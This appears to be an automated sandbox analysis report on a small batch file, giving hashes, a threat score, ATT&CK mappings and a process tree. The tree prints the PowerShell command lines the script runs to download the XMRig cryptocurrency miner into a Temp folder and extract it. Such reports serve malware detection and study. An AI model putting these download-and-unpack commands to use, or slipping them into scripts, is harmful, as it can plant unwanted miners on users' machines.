c5845905301cb177cd5ba386ab909a43ed5263ddbbc470ab0da8ef8c8bc82abf

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-12-2024 15:10

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General

Target

s.bat
Size

1KB
MD5

1e64009a55d5a9eb64fd903f621e5ae0
SHA1

0e5de7ecc2363d16ac2ae8f244d895cff70d6cdb
SHA256

c5845905301cb177cd5ba386ab909a43ed5263ddbbc470ab0da8ef8c8bc82abf
SHA512

2b28221714861951beeb73247a7ab58f4e68d3510e030d25787a13c6c715cea2b82d51cb1f262736dde8738e9ceb59420b4d4dc724524ece75a6a13978da8695

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2380	powershell.exe
2632	powershell.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
2732	timeout.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2380	powershell.exe
2632	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2380	powershell.exe
Token: SeDebugPrivilege	2632	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2544 wrote to memory of 2380	2544	cmd.exe	31
PID 2544 wrote to memory of 2380	2544	cmd.exe	31
PID 2544 wrote to memory of 2380	2544	cmd.exe	31
PID 2544 wrote to memory of 2732	2544	cmd.exe	32
PID 2544 wrote to memory of 2732	2544	cmd.exe	32
PID 2544 wrote to memory of 2732	2544	cmd.exe	32
PID 2544 wrote to memory of 2632	2544	cmd.exe	34
PID 2544 wrote to memory of 2632	2544	cmd.exe	34
PID 2544 wrote to memory of 2632	2544	cmd.exe	34

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\s.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Invoke-WebRequest -Uri https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-msvc-win64.zip -OutFile C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2380
- C:\Windows\system32\timeout.exe
  timeout /t 10
  2⤵
  - Delays execution with timeout.exe
  PID:2732
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "Expand-Archive -Path C:\Users\Admin\AppData\Local\Temp\xmrig-6.22.2-msvc-win64.zip -DestinationPath C:\Users\Admin\AppData\Local\Temp\xmrig"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2632

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
c5993a888268398fc07aaea6a814c6f3

SHA1
2aea2eff6623a09bf97f5abb876a02ab68ff4439

SHA256
c2c763f42b7a5d0a2597db82cd0dfa1fd52c3c27dc57654ec5d25235f3800d13

SHA512
51acf1a9ecd35aa777a146a4fd231ebbb7c34a4a53251c7adb25fb3bcd1fb0f6527629ca97d5450784fac70efabda5eaf794d3905842745f440c6ddbb966cec8

Download Submit
memory/2380-4-0x000007FEF682E000-0x000007FEF682F000-memory.dmp

Filesize
4KB

Download
memory/2380-5-0x000000001B640000-0x000000001B922000-memory.dmp

Filesize
2.9MB

Download
memory/2380-6-0x00000000029E0000-0x00000000029E8000-memory.dmp

Filesize
32KB

Download
memory/2380-7-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-8-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-10-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-9-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-11-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2380-12-0x000007FEF6570000-0x000007FEF6F0D000-memory.dmp

Filesize
9.6MB

Download
memory/2632-18-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2632-19-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download